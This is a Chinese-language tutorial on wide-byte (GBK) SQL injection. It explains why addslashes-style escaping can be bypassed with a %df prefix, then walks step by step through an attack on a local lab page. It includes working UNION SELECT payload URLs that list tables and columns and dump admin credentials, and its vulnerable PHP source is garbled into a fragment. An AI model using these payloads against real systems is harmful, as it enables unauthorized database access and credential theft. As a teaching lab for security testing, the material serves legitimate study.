宽字节SQL注入源码与注入攻击教程
一、宽字节注入产生的原因
程序员为了防止sql注入漏洞的产生,对用户输入的数据中的单引号(’)、双引号(")、星号(*)反斜杠(/)进行转义处理。
所谓转义就是在单引号(’)前加上斜杠(\)重新组合成(’),这样被处理后的sql语句中,单引号不再具有闭合字符的作用,仅仅作为内容输入而已,总而言之,就是这个单引号无法发挥和前后单引号闭合的作用,仅仅成为普通的输入内容(例如:id=1,效果一样)
宽字节防御方法:
1、魔术引号开启
2、使用addslashes()函数转义
_GET[‘id’]);//进行转义
二、绕过防御思路
安全测试人员要绕过这个转义处理,使单引号发挥作用,有两个思路:
1、让斜杠(\)失去作用
2、让斜杠(\)消失
第一个思路:借鉴程序员的防范思路,对斜杠(\)转义,使其失去转义单引号的作用,成为‘内容’
(\是注释的意思,这样就把\给注释,但是没法注入了)
第二个思路:宽字节注入
前提:使用GBK编码
这样前面%df%5C 将被认为是一个汉字%27是 单引号如上图所示
总结:当使用宽字节编码,如:GBK时,两个连在一起的字符会被认为是汉字,我们可以在单引号前加一个字符%df,使其和斜杠(\)进行组合被认为成汉字,从而达到让斜杠消失的目的,并且使单引号也能发挥闭合字符的作用
(注意:前一个字符的Ascii要大于128,两个字符才能组合成汉字)
二、宽字节注入源码
"; //echo "密码:".$row['password'].""; } mysql_close($conn); print_r('执行SQL语句:'.$sql); }else{ echo "id错误"; } ?>
三、宽字节注入攻击步骤
第一步:访问目标网站
第二步:测试注入点 输入and 1=1’(单引号作用是闭合字符,因为此处id是字符型,所以得输入单引号进行闭合字符))
发现单引号被转义了。
第三步:使用宽字节注入方法绕过防御
猜解显示位
其中%23是#的URL编码 %20 是空格的URL编码
猜解出来显示位是3位
第四步:猜解数据库名
第五步:猜解表名
http://127.0.0.1/sql-z/kzj-y.php?id=1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x6B7A6A%23
因为正常情况下table_schema=‘kzj’,但是单引号被转义,故此处采用HEX编码绕过
猜解出来表名是admin与mysqli_test
第六步:猜解admin表中的列名
http://127.0.0.1/sql-z/kzj-y.php?id=1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=0x6B7A6A%20and%20table_name=0x61646D696E%23
猜解出来admin表中有两列admin与pwd
第七步:猜解字段内容
http://127.0.0.1/sql-z/kzj-y.php?id=1%df%27%20union%20select%201,group_concat(admin,pwd),3%20from%20kzj.admin%23
猜解出来用户名是admin密码是admin666